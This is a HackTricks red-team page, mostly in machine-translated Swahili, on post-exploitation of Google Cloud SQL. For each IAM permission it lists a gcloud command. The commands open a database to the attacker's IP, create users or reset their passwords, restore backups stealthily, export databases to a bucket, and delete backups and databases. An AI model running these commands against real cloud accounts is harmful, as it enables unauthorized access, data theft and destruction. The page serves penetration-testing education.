GCP - Cloud SQL Post Exploitation

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud SQL

Kwa maelezo zaidi kuhusu Cloud SQL angalia:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Ili kuungana na hifadhidata unahitaji tu ufikiaji wa bandari ya hifadhidata na kujua jina la mtumiaji na nenosiri, hakuna mahitaji ya IAM. Hivyo, njia rahisi ya kupata ufikiaji, tukichukulia kwamba hifadhidata ina anwani ya IP ya umma, ni kuboresha mitandao iliyoidhinishwa na kuruhusu anwani yako ya IP kuweza kuifikia.

bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Ni pia inawezekana kutumia --no-backup ku haribu nakala za akiba za database.

Kwa kuwa hizi ndizo mahitaji, siko wazi kabisa ni ruhusa zipi cloudsql.instances.connect na cloudsql.instances.login zinahusiana nazo. Ikiwa unajua, tuma PR!

cloudsql.users.list

Pata orodha ya watumiaji wote wa database:

bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Ruhusa hii inaruhusu kuunda mtumiaji mpya ndani ya hifadhidata:

bash
gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Ruhusa hii inaruhusu k updating mtumiaji ndani ya database. Kwa mfano, unaweza kubadilisha nenosiri lake:

bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups zinaweza kuwa na habari nyeti za zamani, hivyo ni muhimu kuziangalia.
Rejesha nakala ya akiba ndani ya database:

bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Ili kufanya hivyo kwa njia ya siri zaidi, inashauriwa kuunda mfano mpya wa SQL na kurejesha data huko badala ya kwenye hifadhidata zinazotumika sasa.

cloudsql.backupRuns.delete

Ruhusa hii inaruhusu kufuta nakala za akiba:

bash
gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Hamisha database kwa Cloud Storage Bucket ili uweze kuipata kutoka hapo:

bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Ingiza database (andika upya) kutoka kwa Cloud Storage Bucket:

bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Futa database kutoka kwa db instance:

bash
gcloud sql databases delete <db-name> --instance <instance-id>

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks